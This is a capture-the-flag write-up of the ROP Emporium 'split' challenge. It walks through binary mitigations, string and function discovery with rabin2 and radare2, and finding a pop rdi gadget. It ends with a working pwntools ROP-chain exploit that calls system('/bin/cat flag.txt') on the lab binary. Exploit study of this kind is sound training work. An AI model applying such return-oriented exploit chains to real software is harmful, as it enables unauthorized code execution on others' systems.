Challenge description >

In this challenge the elements that allowed you to complete the ret2win challenge are still present, they’ve just been split apart. Find them and recombine them using a short ROP chain.

The binary can be found here ~> split

This challenge is slighty different from the previous challenge as the description says all elements are still present they’ve just been split apart so we’ll recombine them now :)

lets check the binary’s mitigation and from the previous challenge we know we need 40 bytes to overflow .

split64 ➤ checksec split
[*] '/home/h4x5p4c3/Documents/pwn/rop_emporium/1-split/split64/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This looks similar to ret2win and we see nx is enabled so we cant use shellcode to spawn a shell. So for this challenge the two elements that we need are a /bin/cat flag.txt and call to system() function

Let’s check out the if the cat flag string is present in the binary

split64 ➤ rabin2 -z split
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

Yes we can see our cat flag string present, the addr of our cat flag string is 0x00601060

Next up we need our system function lets look at some funcitons using radare2.

[0x004005b0]> afl
0x004005b0    1 42           entry0
0x004005f0    4 42   -> 37   sym.deregister_tm_clones
0x00400620    4 58   -> 55   sym.register_tm_clones
0x00400660    3 34   -> 29   sym.__do_global_dtors_aux
0x00400690    1 7            entry.init0
0x004006e8    1 90           sym.pwnme
0x00400580    1 6            sym.imp.memset
0x00400550    1 6            sym.imp.puts
0x00400570    1 6            sym.imp.printf
0x00400590    1 6            sym.imp.read
0x00400742    1 17           sym.usefulFunction
0x00400560    1 6            sym.imp.system
0x004007d0    1 2            sym.__libc_csu_fini
0x004007d4    1 9            sym._fini
0x00400760    4 101          sym.__libc_csu_init
0x004005e0    1 2            sym._dl_relocate_static_pie
0x00400697    1 81           main
0x004005a0    1 6            sym.imp.setvbuf
0x00400528    3 23           sym._init

Everything seems normal but we can see there’s a useful function lets take a look at it

[0x004005b0]> s sym.usefulFunction
[0x00400742]> pdf
┌ 17: sym.usefulFunction ();
│           0x00400742      push rbp
│           0x00400743      mov rbp, rsp
│           0x00400746      mov edi, str.bin_ls                        ; 0x40084a ; "/bin/ls" ; const char *string
│           0x0040074b      call sym.imp.system                        ; int system(const char *string)
│           0x00400750      nop
│           0x00400751      pop rbp
└           0x00400752      ret

The useful function just does list’s the files in the dir but whats useful for us here is the system call let’s take a note at the address of it 0x0040074b. Great we’ve found the two elements now we just need to find the right gadget. But what gadget are we looking for, we’re looking for a pop rdi gadget so we can store the string into rdi register and call system so we can cat out flag .

Now we’ll use ropper to find the gagdget.


split64 ➤ ropper --file split --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: split
0x00000000004007c3: pop rdi; ret;

Exploitation

Combining what we’re gonna do.

40 bytes to overflow
gadget 
cat_flag string
call_system by returning into it
#!/usr/bin/env python
from pwn import *

io = process("./split")

padding = cyclic(40) # 40 bytes to overflow
gadget = p64(0x00000000004007c3)
cat_flag = p64(0x00601060)
system = p64(0x0040074b)

payload = padding
payload +=  gadget + cat_flag + system

io.sendline(payload)
io.interactive()

Let’s run the exploit to check if it works

split64 ➤ python xpl.py
[+] Starting local process './split': pid 15817
[*] Switching to interactive mode
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

Yea our exploit works and we grabbed the flag :)